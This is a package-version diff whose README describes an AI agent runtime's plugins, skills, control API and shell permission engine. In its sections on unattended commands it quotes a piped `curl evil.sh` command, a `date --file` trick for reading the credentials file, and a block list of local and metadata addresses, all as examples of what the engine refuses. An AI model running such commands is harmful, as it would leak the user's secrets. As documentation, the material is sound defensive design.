@stratusagent/cli 0.4.0 → 0.7.0
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
- package/README.md +431 -10
- package/dist/index.d.ts +80 -12
- package/dist/index.d.ts.map +1 -1
- package/dist/index.js +1031 -698
- package/dist/index.js.map +1 -1
- package/package.json +27 -12
package/README.md
CHANGED
|
@@ -26,9 +26,103 @@ alongside the CLI and `stratus serve` picks it up automatically:
|
|
|
26
26
|
npm install -g @stratusagent/channel-slack
|
|
27
27
|
```
|
|
28
28
|
|
|
29
|
+
You rarely have to type that. Connect an agent in `stratus setup` → **Channels**
|
|
30
|
+
and **Save & finish** offers the install, because storing tokens is already the
|
|
31
|
+
decision to use Slack — see [What Save & finish offers](#what-save--finish-offers).
|
|
32
|
+
|
|
29
33
|
If tokens are stored for an agent but the package isn't installed, `stratus
|
|
30
34
|
serve` says so and starts anyway, serving every other channel.
|
|
31
35
|
|
|
36
|
+
### Optional tool plugins
|
|
37
|
+
|
|
38
|
+
Capability is optional in the same way, and gated more tightly. A plugin runs
|
|
39
|
+
inside the daemon's process, so **installing one does not run it** — it runs
|
|
40
|
+
when a trusted config lists and enables it, and then only for the agents whose
|
|
41
|
+
souls name its tools:
|
|
42
|
+
|
|
43
|
+
```bash
|
|
44
|
+
npm install -g @stratusagent/tool-fs @stratusagent/tool-web
|
|
45
|
+
```
|
|
46
|
+
|
|
47
|
+
See [Tools](#tools-what-an-agent-can-actually-do) for the config block and what
|
|
48
|
+
each pack does.
|
|
49
|
+
|
|
50
|
+
### Optional control API and dashboard
|
|
51
|
+
|
|
52
|
+
Same idea, and the same reason: installing it is how you say you want a port
|
|
53
|
+
open. With it present, `stratus serve` also serves an authenticated HTTP +
|
|
54
|
+
WebSocket API on `127.0.0.1:4123`.
|
|
55
|
+
|
|
56
|
+
```bash
|
|
57
|
+
npm install -g @stratusagent/control-api @stratusagent/dashboard
|
|
58
|
+
```
|
|
59
|
+
|
|
60
|
+
Two packages, because the API has three consumers and only one of them is a
|
|
61
|
+
web page — the macOS app and a headless VM want the API without a UI. Install
|
|
62
|
+
`@stratusagent/control-api` alone for those; add `@stratusagent/dashboard` and
|
|
63
|
+
the API serves the web UI at `/` as well.
|
|
64
|
+
|
|
65
|
+
That API is what every non-terminal surface talks to — the web dashboard and
|
|
66
|
+
the macOS app alike. Its full reference (endpoints, auth, the event envelope)
|
|
67
|
+
lives in [its own README](https://github.com/stratuslabs/agent/tree/main/packages/control-api).
|
|
68
|
+
|
|
69
|
+
Two files appear while it is serving, both `0600`:
|
|
70
|
+
|
|
71
|
+
| File | What |
|
|
72
|
+
| --- | --- |
|
|
73
|
+
| `~/.stratus/gateway-token` | The bearer token clients authenticate with |
|
|
74
|
+
| `~/.stratus/gateway.json` | Where the daemon is reachable — url, host, port, pid — removed on a clean stop |
|
|
75
|
+
|
|
76
|
+
Turn it off with `stratus serve --no-api`, or in `~/.stratus/config.json`:
|
|
77
|
+
|
|
78
|
+
```jsonc
|
|
79
|
+
{
|
|
80
|
+
"api": {
|
|
81
|
+
"enabled": true,
|
|
82
|
+
"host": "127.0.0.1",
|
|
83
|
+
"port": 4123
|
|
84
|
+
}
|
|
85
|
+
}
|
|
86
|
+
```
|
|
87
|
+
|
|
88
|
+
Like `approvals`, this block is read **only** from a config you chose
|
|
89
|
+
yourself — the global `~/.stratus/config.json` or one passed with `--config`.
|
|
90
|
+
An auto-discovered project-local `stratus.config.json` ships in any
|
|
91
|
+
repository, and which interface a daemon binds is not a decision a cloned repo
|
|
92
|
+
gets to make; one that tries is ignored, loudly.
|
|
93
|
+
|
|
94
|
+
Localhost is the posture. To reach a machine at home, put it behind a tunnel
|
|
95
|
+
(Tailscale is the pattern we recommend) rather than binding a public
|
|
96
|
+
interface.
|
|
97
|
+
|
|
98
|
+
### The dashboard
|
|
99
|
+
|
|
100
|
+
```bash
|
|
101
|
+
stratus dashboard
|
|
102
|
+
```
|
|
103
|
+
|
|
104
|
+
It finds a running daemon through `~/.stratus/gateway.json`, or starts one in
|
|
105
|
+
the foreground when there is none (and says which it did). Then it mints a
|
|
106
|
+
**single-use, short-lived sign-in link** and opens your browser at it — the
|
|
107
|
+
one thing a browser cannot do for itself, since page JavaScript cannot read
|
|
108
|
+
`~/.stratus/gateway-token` and a WebSocket upgrade cannot carry a header.
|
|
109
|
+
|
|
110
|
+
The link works once. Run the command again for another. A daemon restart signs
|
|
111
|
+
the browser out too, because its sessions live in memory.
|
|
112
|
+
|
|
113
|
+
### Talking to a daemon from another machine
|
|
114
|
+
|
|
115
|
+
`stratus agents --gateway <url>` reads the roster from a running daemon
|
|
116
|
+
instead of resolving it locally — the same listing, answered by the API:
|
|
117
|
+
|
|
118
|
+
```bash
|
|
119
|
+
stratus agents --gateway http://127.0.0.1:4123
|
|
120
|
+
```
|
|
121
|
+
|
|
122
|
+
Locally that needs nothing else: the token comes from
|
|
123
|
+
`~/.stratus/gateway-token`. A daemon reached through a tunnel has its own
|
|
124
|
+
token, so pass it with `--token` or `STRATUS_GATEWAY_TOKEN`.
|
|
125
|
+
|
|
32
126
|
## Setup
|
|
33
127
|
|
|
34
128
|
`stratus setup` is the whole onboarding, as a small navigable menu:
|
|
@@ -50,6 +144,47 @@ serve` says so and starts anyway, serving every other channel.
|
|
|
50
144
|
- **Channels** — put an agent on Slack without opening a file. Pick the agent, and setup prints the app manifest with their name already filled in, walks you through the two tokens (input hidden), verifies each against Slack before accepting it, and stores them where `stratus serve` looks. The list marks who is connected; picking a connected agent offers to replace their tokens or disconnect.
|
|
51
145
|
- **Always on** — whether the roster keeps answering once you close the terminal. On by default, because an agent you have to remember to start is not always-on, and every Slack app you connected above stays silent until `stratusd` runs. Save & finish installs it (see [Always on](#always-on)); choose *do not run it for me* and setup removes any service it previously installed.
|
|
52
146
|
- **Test run** — say hello with the current settings before saving anything.
|
|
147
|
+
- **Save & finish** — writes everything, offers any optional package your
|
|
148
|
+
choices imply, then installs the always-on service.
|
|
149
|
+
|
|
150
|
+
### What Save & finish offers
|
|
151
|
+
|
|
152
|
+
The CLI ships no transport and no open port, so a fresh machine finishes setup
|
|
153
|
+
missing the packages its own answers just asked for. Setup knows that before
|
|
154
|
+
the daemon does — it stored the Slack tokens itself — so **Save & finish** names
|
|
155
|
+
what is missing and offers to install it:
|
|
156
|
+
|
|
157
|
+
```text
|
|
158
|
+
2 optional packages are not installed:
|
|
159
|
+
@stratusagent/channel-slack
|
|
160
|
+
Slack tokens are stored for 1 agent(s), but nothing connects to Slack without it.
|
|
161
|
+
@stratusagent/control-api @stratusagent/dashboard
|
|
162
|
+
`stratus dashboard` needs it, and it opens an authenticated port on 127.0.0.1.
|
|
163
|
+
|
|
164
|
+
Install now with npm install -g?
|
|
165
|
+
> Install all of them now
|
|
166
|
+
Install the Slack channel only
|
|
167
|
+
Install the Web dashboard only
|
|
168
|
+
Skip
|
|
169
|
+
```
|
|
170
|
+
|
|
171
|
+
Three things about it worth knowing:
|
|
172
|
+
|
|
173
|
+
- **It asks, and anything left uninstalled prints its command** — whether you
|
|
174
|
+
skipped the offer entirely or took only one of the two, since choosing one
|
|
175
|
+
group is not a decision about the other. The control API binds a port, and
|
|
176
|
+
installing it is how an operator says they want one open, so this stays a
|
|
177
|
+
question rather than a default.
|
|
178
|
+
- **It runs before the service install**, so the LaunchAgent comes up with
|
|
179
|
+
those packages already present. A package installed *after* a daemon starts
|
|
180
|
+
is invisible to it; that ordering is the whole reason the offer lives here
|
|
181
|
+
rather than in a closing hint.
|
|
182
|
+
- **A failed install never fails setup.** Your config and credentials are
|
|
183
|
+
already written; you get npm's exit code and the command to run yourself.
|
|
184
|
+
|
|
185
|
+
Setup only suggests `stratus dashboard` at the end when it can actually work —
|
|
186
|
+
a machine that skipped or failed that install is not told to run a command that
|
|
187
|
+
would exit with an error.
|
|
53
188
|
|
|
54
189
|
Credentials are stored in `~/.stratus/credentials.json` (owner-read-only) and settings in `~/.stratus/config.json`, so `stratus run` works from any directory afterwards. No env vars to export, no config files to hand-edit.
|
|
55
190
|
|
|
@@ -97,9 +232,17 @@ terminal to prompt on. If somebody *is* reachable, `--approvals remote` asks
|
|
|
97
232
|
them instead — see [Asking a human](#asking-a-human-remote-approval).
|
|
98
233
|
|
|
99
234
|
A tool that declares no risk counts as `gated`, never `safe` — forgetting to
|
|
100
|
-
classify something should cost a prompt, not an unattended command.
|
|
101
|
-
|
|
102
|
-
`safe
|
|
235
|
+
classify something should cost a prompt, not an unattended command. The
|
|
236
|
+
built-in tools (`demo.echo`, `memory.remember`, `agent.delegate`) are all
|
|
237
|
+
`safe`; anything you install is where this starts to bite, which is what the
|
|
238
|
+
[Tools](#tools-what-an-agent-can-actually-do) section below is about.
|
|
239
|
+
|
|
240
|
+
A **shell** is the exception to the whole paragraph, because its risk is in
|
|
241
|
+
its argument rather than in its identity. `shell.run` is `gated`, and the
|
|
242
|
+
permission engine then judges each command: a safe scope (`git status`,
|
|
243
|
+
`git log`) runs unattended, everything else asks, and a control operator
|
|
244
|
+
anywhere in the string disqualifies it however innocent the base command is.
|
|
245
|
+
See [Which commands run unattended](#which-commands-run-unattended).
|
|
103
246
|
|
|
104
247
|
The line is *acting outside Stratus* — the filesystem, the network, another
|
|
105
248
|
service — not cost. Every turn spends provider tokens, including the one
|
|
@@ -182,11 +325,22 @@ Three things are worth knowing before you turn it on:
|
|
|
182
325
|
reason saying stratusd stopped while they were running and to send the
|
|
183
326
|
message again, rather than claiming to still be running forever. This is
|
|
184
327
|
only for an ungraceful stop: a normal restart denies what is parked and
|
|
185
|
-
finishes the turns those denials release before it exits.
|
|
186
|
-
|
|
187
|
-
|
|
188
|
-
|
|
189
|
-
|
|
328
|
+
finishes the turns those denials release before it exits. The thread hears
|
|
329
|
+
about it too: a turn that fails with nobody rendering it is reported where
|
|
330
|
+
it was asked, rather than going quiet and reading as an agent that never
|
|
331
|
+
replied.
|
|
332
|
+
- **A button left behind by a dead daemon corrects itself when clicked.** A
|
|
333
|
+
normal shutdown retracts its buttons; a crash cannot, and the new process
|
|
334
|
+
has no record of what the old one posted. Clicking such a prompt tells you
|
|
335
|
+
it is no longer pending *and* rewrites the message so the next reader is
|
|
336
|
+
not offered a decision nothing is waiting for. A prompt nobody clicks
|
|
337
|
+
stays as it is.
|
|
338
|
+
- **Always allow means different things for a tool and for a command.** For
|
|
339
|
+
an ordinary tool it lasts for the session: it stops that tool asking again
|
|
340
|
+
in the same conversation, and it is forgotten when the daemon restarts.
|
|
341
|
+
For a call that carries a command — `shell.run` — it persists a *scope*
|
|
342
|
+
instead, in `~/.stratus/agents/<id>.whitelist.json`, and that survives a
|
|
343
|
+
restart. See below for what a scope keeps out.
|
|
190
344
|
|
|
191
345
|
The request shows the tool's **arguments**, not just its name — for anything
|
|
192
346
|
whose danger lives in what it was called with, approving a bare tool name is
|
|
@@ -208,6 +362,260 @@ Approval buttons need the Slack app's **Interactivity** switched on. Apps
|
|
|
208
362
|
created from the manifest that `stratus setup` prints already have it; an app
|
|
209
363
|
created before this shipped needs it enabled once, in its App Manifest.
|
|
210
364
|
|
|
365
|
+
## Tools: what an agent can actually do
|
|
366
|
+
|
|
367
|
+
Out of the box an agent can echo, remember, and delegate. Everything else —
|
|
368
|
+
files, a shell, the web, a browser — arrives as a **plugin**: one package you
|
|
369
|
+
install, list, and enable.
|
|
370
|
+
|
|
371
|
+
```bash
|
|
372
|
+
npm install -g @stratusagent/tool-fs @stratusagent/tool-shell \
|
|
373
|
+
@stratusagent/tool-web @stratusagent/tool-browser
|
|
374
|
+
```
|
|
375
|
+
|
|
376
|
+
```jsonc
|
|
377
|
+
// ~/.stratus/config.json
|
|
378
|
+
{
|
|
379
|
+
"plugins": {
|
|
380
|
+
"@stratusagent/tool-fs": {
|
|
381
|
+
"enabled": true,
|
|
382
|
+
"roots": ["~/notes"],
|
|
383
|
+
"agents": {
|
|
384
|
+
"ava": { "roots": ["~/work/ava"] },
|
|
385
|
+
"juno": { "roots": ["~/work/juno", "~/shared"] }
|
|
386
|
+
}
|
|
387
|
+
},
|
|
388
|
+
"@stratusagent/tool-web": { "enabled": true },
|
|
389
|
+
"@stratusagent/tool-shell": { "enabled": true, "cwd": "~/work" }
|
|
390
|
+
}
|
|
391
|
+
}
|
|
392
|
+
```
|
|
393
|
+
|
|
394
|
+
Keyed by **package name**, because a plugin's identity is its package and one
|
|
395
|
+
may contribute more than tools. Per-agent settings go in an `agents` sub-block
|
|
396
|
+
over the defaults above them — the same shape `approvals` already uses, and it
|
|
397
|
+
matters more here: for `tool-fs` those values are an access boundary between
|
|
398
|
+
agents rather than a preference.
|
|
399
|
+
|
|
400
|
+
**Only a config you chose may list plugins** — `--config`, `STRATUS_CONFIG`, or
|
|
401
|
+
the global `~/.stratus/config.json`. A plugin runs in the daemon's own process,
|
|
402
|
+
so this list is a list of code, and an auto-discovered project-local
|
|
403
|
+
`stratus.config.json` ships with any repository you clone. Its `plugins` block
|
|
404
|
+
is ignored, with a warning naming the file, exactly as `api` and `approvals`
|
|
405
|
+
are.
|
|
406
|
+
|
|
407
|
+
`stratus run` and `stratus chat` load the same plugins from the same config, so
|
|
408
|
+
a tool that works locally works in the daemon, and one that is missing is
|
|
409
|
+
missing in both.
|
|
410
|
+
|
|
411
|
+
### Installing a plugin grants no agent anything
|
|
412
|
+
|
|
413
|
+
The soul's allowlist is the second gate, and the per-identity one:
|
|
414
|
+
|
|
415
|
+
```markdown
|
|
416
|
+
---
|
|
417
|
+
id: ava
|
|
418
|
+
tools: [fs.read, fs.search, web.fetch]
|
|
419
|
+
---
|
|
420
|
+
```
|
|
421
|
+
|
|
422
|
+
`fs.*` grants a whole toolset, so an agent given "the filesystem" does not need
|
|
423
|
+
editing every time the pack gains a tool. The prefix keeps its dot: `fs.*`
|
|
424
|
+
never matches `fsx.read`. Listing nothing grants every registered tool, which
|
|
425
|
+
is fine for a private agent and is not what you want once a shell is installed.
|
|
426
|
+
|
|
427
|
+
### What is available
|
|
428
|
+
|
|
429
|
+
| Package | Tools | Risk |
|
|
430
|
+
| --- | --- | --- |
|
|
431
|
+
| [`@stratusagent/tool-fs`](../tool-fs) | `fs.read`, `fs.list`, `fs.search` | `safe` inside the agent's roots |
|
|
432
|
+
| | `fs.write` | `gated` |
|
|
433
|
+
| [`@stratusagent/tool-shell`](../tool-shell) | `shell.run` | `gated`, then judged per command |
|
|
434
|
+
| [`@stratusagent/tool-web`](../tool-web) | `web.fetch` | `gated` |
|
|
435
|
+
| [`@stratusagent/tool-browser`](../tool-browser) | `browser.goto`, `.read`, `.screenshot` | `gated` |
|
|
436
|
+
| | `browser.act` | `dangerous` — always a human |
|
|
437
|
+
|
|
438
|
+
Each package's README carries its own settings and the reasoning behind its
|
|
439
|
+
risk levels. Three things are worth knowing here:
|
|
440
|
+
|
|
441
|
+
- **`tool-fs` roots are a boundary, not a preference.** No roots means no
|
|
442
|
+
filesystem — nothing is readable, rather than everything. Containment is
|
|
443
|
+
decided between real paths, so a symlink inside a root pointing at
|
|
444
|
+
`~/.stratus/credentials.json` is refused, and so is a write *through* a
|
|
445
|
+
symlinked directory.
|
|
446
|
+
- **`tool-shell` replaces the environment.** The command gets exactly what
|
|
447
|
+
you granted (`passEnv`, `env`) and nothing else — the daemon's own
|
|
448
|
+
environment, where `ANTHROPIC_API_KEY` lives, is not there to read.
|
|
449
|
+
- **`tool-web` and `tool-browser` refuse local addresses.** Both share one
|
|
450
|
+
policy: `http:`/`https:` only, and no loopback, RFC 1918, link-local
|
|
451
|
+
(`169.254.169.254`), or IPv6 unique-local — including the IPv4-mapped and
|
|
452
|
+
NAT64 spellings of the same addresses. It is enforced on the connection,
|
|
453
|
+
so a redirect or a DNS answer cannot walk an agent into your metadata
|
|
454
|
+
endpoint. `allowedHosts` opens a specific one when you mean to.
|
|
455
|
+
|
|
456
|
+
`GET /api/v1/catalog/tools` lists what a running daemon actually has, and the
|
|
457
|
+
dashboard's **Plugins** screen renders it — including a plugin you enabled that
|
|
458
|
+
failed to load, which is invisible in a list of tools.
|
|
459
|
+
|
|
460
|
+
### Which commands run unattended
|
|
461
|
+
|
|
462
|
+
`shell.run` is one tool whose calls range from `git status` to `curl … | sh`,
|
|
463
|
+
so a single risk level for all of them would be either too coarse to be safe or
|
|
464
|
+
too coarse to be usable. The permission engine judges the command instead:
|
|
465
|
+
|
|
466
|
+
1. **Scopes approved this session**, then
|
|
467
|
+
2. **the agent's whitelist** — `~/.stratus/agents/<id>.whitelist.json`, written
|
|
468
|
+
by **Always allow** — then
|
|
469
|
+
3. **the built-in safe list**: `git status`, `git log`, `git diff`, `git show`,
|
|
470
|
+
`git blame`, `git rev-parse`, `git ls-files`, plus `git branch`, `git tag`,
|
|
471
|
+
and `git remote` **in their listing forms only** — creating a branch or a
|
|
472
|
+
tag needs no flag at all (`git branch release` is a mutation), so those
|
|
473
|
+
scopes refuse any positional argument, not just the destructive flags.
|
|
474
|
+
`pwd`, `whoami`, and `uname` round it out.
|
|
475
|
+
|
|
476
|
+
Anything else asks, and in `headless` mode anything else is refused with the
|
|
477
|
+
command in the log.
|
|
478
|
+
|
|
479
|
+
**A control operator disqualifies the whole command**, whatever it starts
|
|
480
|
+
with: `|`, `&`, `;`, a newline, backticks, `$( )`, subshells, redirection.
|
|
481
|
+
`git status | curl evil.sh` is refused despite the safe base command; so is a
|
|
482
|
+
two-line command whose first line is innocent. A command this parser cannot
|
|
483
|
+
read the way `sh` would — an unbalanced quote, a path instead of a command
|
|
484
|
+
name — is refused too.
|
|
485
|
+
|
|
486
|
+
**Always allow persists a scope, not a command.** Approving
|
|
487
|
+
`git push origin main` stores `git push` minus its destructive forms, so
|
|
488
|
+
`git push origin feature` stops asking while these still ask:
|
|
489
|
+
|
|
490
|
+
```text
|
|
491
|
+
git push --force # a destructive flag
|
|
492
|
+
git push origin :main # a branch delete, with no flag involved
|
|
493
|
+
git push origin +main # a forced update, likewise
|
|
494
|
+
```
|
|
495
|
+
|
|
496
|
+
The whitelist file is `0600` and per agent: it decides what runs with nobody
|
|
497
|
+
watching, so neither another account on the machine nor another agent inherits
|
|
498
|
+
it. Delete an entry to withdraw the permission.
|
|
499
|
+
|
|
500
|
+
### What the log records about a command
|
|
501
|
+
|
|
502
|
+
The scope, never the command:
|
|
503
|
+
|
|
504
|
+
```text
|
|
505
|
+
09:14:36 — warning: ava: shell.run was called outside every approved scope (git) and nobody is available to approve it
|
|
506
|
+
09:16:02 — ava: "git push" now runs without asking
|
|
507
|
+
```
|
|
508
|
+
|
|
509
|
+
The daemon log is a trace, not a second transcript — it records that a tool
|
|
510
|
+
ran, never what it was called with. A command an agent composed can carry a
|
|
511
|
+
URL, a filename, or something a person pasted into a chat, and this file is
|
|
512
|
+
one `stratus logs` prints and people paste into issues. The command itself
|
|
513
|
+
goes to whoever is being asked to approve it: the terminal prompt and the
|
|
514
|
+
Slack message both show it in full, because approving a bare tool name is
|
|
515
|
+
approving something you cannot see.
|
|
516
|
+
|
|
517
|
+
The safe list is deliberately short, and `cat`, `ls`, and `grep` are the
|
|
518
|
+
tempting entries that cannot be on it — they read whatever path they are given,
|
|
519
|
+
so safe-listing them would safe-list reading your credentials file. Approve
|
|
520
|
+
them once for a scope you actually want instead.
|
|
521
|
+
|
|
522
|
+
The test is **what an argument can make the command do**, not what the command
|
|
523
|
+
is called. `date` was on this list until it turned out that
|
|
524
|
+
`date --file=~/.stratus/credentials.json` makes GNU `date` read that file and
|
|
525
|
+
echo every unparseable line back in its error text — which the tool returns.
|
|
526
|
+
A command that can be handed a path is a file reader wearing another name, so
|
|
527
|
+
`--file` is now refused in every scope, including ones you add.
|
|
528
|
+
|
|
529
|
+
## Skills: how an agent does a task well
|
|
530
|
+
|
|
531
|
+
Tools are capability; a **skill** is competence — markdown that teaches an
|
|
532
|
+
agent a procedure: the rubric for a code review, the order to check things in,
|
|
533
|
+
the format to answer in. A skill is a directory with a `SKILL.md`:
|
|
534
|
+
|
|
535
|
+
```text
|
|
536
|
+
~/.stratus/skills/
|
|
537
|
+
code-review/
|
|
538
|
+
SKILL.md
|
|
539
|
+
```
|
|
540
|
+
|
|
541
|
+
```markdown
|
|
542
|
+
---
|
|
543
|
+
name: Code Review
|
|
544
|
+
description: Use when reviewing a diff or a pull request.
|
|
545
|
+
---
|
|
546
|
+
|
|
547
|
+
# Code review
|
|
548
|
+
|
|
549
|
+
Lead with the verdict, then findings ordered by severity...
|
|
550
|
+
```
|
|
551
|
+
|
|
552
|
+
The frontmatter is the soul dialect — `name`, `description`, optional
|
|
553
|
+
`version`, and an optional `requires:` list of toolsets the procedure expects
|
|
554
|
+
(`browser.*`) — read **tolerantly**, unlike a soul's: keys other ecosystems
|
|
555
|
+
write (`license`, `allowed-tools`, nested `metadata:`) and YAML's multi-line
|
|
556
|
+
descriptions are skipped rather than refused, so a skill published for
|
|
557
|
+
another agent loads here unmodified. The directory name is the skill's id.
|
|
558
|
+
Plugins can ship skills too, declared in their manifest; those are addressed
|
|
559
|
+
by the package name verbatim (`stratus-plugin-github:pr-review`), and by the
|
|
560
|
+
bare id while no other package claims it.
|
|
561
|
+
|
|
562
|
+
### Installing skills
|
|
563
|
+
|
|
564
|
+
Anything on GitHub laid out as skill directories — including repos published
|
|
565
|
+
to [skills.sh](https://skills.sh) — installs directly:
|
|
566
|
+
|
|
567
|
+
```bash
|
|
568
|
+
stratus skill add owner/skills-repo # a whole repo of skills
|
|
569
|
+
stratus skill add owner/repo --skill hn-search --agent ava
|
|
570
|
+
stratus skill add ./my-skills # a local directory
|
|
571
|
+
stratus skills # what is installed, and who enables it
|
|
572
|
+
```
|
|
573
|
+
|
|
574
|
+
`skill add` takes a GitHub `owner/repo`, any git URL, or a local path; it
|
|
575
|
+
finds skills at the repo root, one level down, and in the `skills/`,
|
|
576
|
+
`.claude/skills/`, and `.agents/skills/` directories the ecosystem uses, then
|
|
577
|
+
copies each **whole directory** into `~/.stratus/skills/`. An id already
|
|
578
|
+
installed is refused per skill (`--force` replaces it), and an unparseable
|
|
579
|
+
skill is reported while the rest still install.
|
|
580
|
+
|
|
581
|
+
**Installed is not enabled.** A skill is markdown, but it is markdown your
|
|
582
|
+
agent will *follow*, so installing a repo grants no agent anything — each
|
|
583
|
+
soul still opts in through `skills:`. Pass `--agent <id>` to do both at once:
|
|
584
|
+
the command appends the installed ids to that soul's list (rendering the file
|
|
585
|
+
through the canonical formatter, like the API's field edits do).
|
|
586
|
+
|
|
587
|
+
An agent gets a skill only when its soul asks — same allowlist shape as
|
|
588
|
+
`tools:`, except that omitting it means **none** (a skill silently changing
|
|
589
|
+
how an agent behaves is worse than an agent that has to be told):
|
|
590
|
+
|
|
591
|
+
```markdown
|
|
592
|
+
---
|
|
593
|
+
name: Ava
|
|
594
|
+
tools: [fs.read, fs.search]
|
|
595
|
+
skills:
|
|
596
|
+
- code-review
|
|
597
|
+
- stratus-plugin-github:*
|
|
598
|
+
---
|
|
599
|
+
```
|
|
600
|
+
|
|
601
|
+
**An enabled skill costs one line per turn, not its body.** Only the name and
|
|
602
|
+
description reach the system prompt; the agent loads the full procedure with
|
|
603
|
+
the built-in `skill.read` tool when the description says it is relevant. That
|
|
604
|
+
is what lets a fleet carry thirty procedures without every turn paying for all
|
|
605
|
+
thirty. `skill.read` is part of the skills mechanism — never list it under
|
|
606
|
+
`tools:`; it appears (and works) for exactly the agents whose soul enables any
|
|
607
|
+
skill, and reads only the skills that soul allows.
|
|
608
|
+
|
|
609
|
+
**Write the description for routing.** It is the only thing the model sees
|
|
610
|
+
before deciding to load the body, so it says *when to reach for this*, not
|
|
611
|
+
what the file contains: "Use when reviewing a diff or a pull request", not "A
|
|
612
|
+
rubric with twelve sections". A skill without a description does not load.
|
|
613
|
+
|
|
614
|
+
A skill whose `requires:` names toolsets the agent's `tools:` does not cover
|
|
615
|
+
is a warning when the daemon loads the roster, never a refusal — a skill is
|
|
616
|
+
prose, and can degrade. `stratus run` and `stratus chat` serve the same skills
|
|
617
|
+
directory the daemon does, so a skill that routes locally routes in Slack.
|
|
618
|
+
|
|
211
619
|
## Always on
|
|
212
620
|
|
|
213
621
|
`stratus serve` stays a foreground process on purpose — debuggable, and
|
|
@@ -367,7 +775,7 @@ environment quietly demoting a Claude subscription sign-in to per-token billing.
|
|
|
367
775
|
|
|
368
776
|
## Agents are people
|
|
369
777
|
|
|
370
|
-
An agent's identity lives in a **soul file** — markdown with frontmatter for the structured parts (name, provider, model, tool allowlists) and prose for the personality:
|
|
778
|
+
An agent's identity lives in a **soul file** — markdown with frontmatter for the structured parts (name, provider, model, tool and skill allowlists) and prose for the personality:
|
|
371
779
|
|
|
372
780
|
```markdown
|
|
373
781
|
---
|
|
@@ -377,6 +785,8 @@ model: claude-opus-5
|
|
|
377
785
|
tools:
|
|
378
786
|
- demo.echo
|
|
379
787
|
- memory.remember
|
|
788
|
+
skills:
|
|
789
|
+
- code-review
|
|
380
790
|
---
|
|
381
791
|
|
|
382
792
|
You are a sharp, warm generalist. Answer first, explain second...
|
|
@@ -437,13 +847,24 @@ to refuse over.
|
|
|
437
847
|
| `--idle-timeout` | `stratus serve`: seconds of provider silence before the watchdog aborts a turn (default 120) |
|
|
438
848
|
| `--no-events` | Hide the event log |
|
|
439
849
|
| `--no-log-file` | `stratus serve`: do not write `~/.stratus/logs/stratusd.jsonl` |
|
|
850
|
+
| `--no-api` | `stratus serve`: do not serve the control API |
|
|
851
|
+
| `--api-host` | `stratus serve`: control API interface (default `127.0.0.1`) |
|
|
852
|
+
| `--api-port` | `stratus serve`: control API port (default `4123`; `0` picks any free port) |
|
|
853
|
+
| `--gateway <url>` | `stratus agents`: read the roster from a running daemon's control API |
|
|
854
|
+
| `--port`, `--host` | `stratus dashboard`: where a daemon it starts should bind |
|
|
855
|
+
| `--token` | Bearer token for `--gateway` (default: `~/.stratus/gateway-token`, or `STRATUS_GATEWAY_TOKEN`) |
|
|
440
856
|
| `--no-login` | `stratus service install`: install without the start-at-login trigger |
|
|
441
857
|
| `-f`, `--follow` | `stratus logs`: follow the log, across rotations |
|
|
442
858
|
| `-n <count>` | `stratus logs`: how much backlog to print (default 50) |
|
|
443
859
|
| `--agent`, `--session` | `stratus logs`: show only one agent's or one session's records |
|
|
444
860
|
|
|
861
|
+
Tool plugins have no flags: what is installed is a config decision (`plugins`
|
|
862
|
+
in a trusted config) and what an agent may call is a soul decision (`tools:`).
|
|
863
|
+
Neither is something a single run should be able to widen from the command
|
|
864
|
+
line.
|
|
865
|
+
|
|
445
866
|
Precedence: flags → `STRATUS_*` env vars → soul file hints → config file. Project-local `stratus.config.json` outranks the global `~/.stratus/config.json`; stored sign-ins are endpoint-bound and never sent to endpoints a project config selects.
|
|
446
867
|
|
|
447
|
-
Today the CLI covers setup, chat, one-shot runs, agent creation, the always-on gateway and its service integration, logs, diagnostics, Slack,
|
|
868
|
+
Today the CLI covers setup, chat, one-shot runs, agent creation, the always-on gateway and its service integration, logs, diagnostics, Slack, the control API, and the web dashboard.
|
|
448
869
|
|
|
449
870
|
Part of [Stratus Agent](https://github.com/stratuslabs/agent) — a tiny TypeScript agent runtime.
|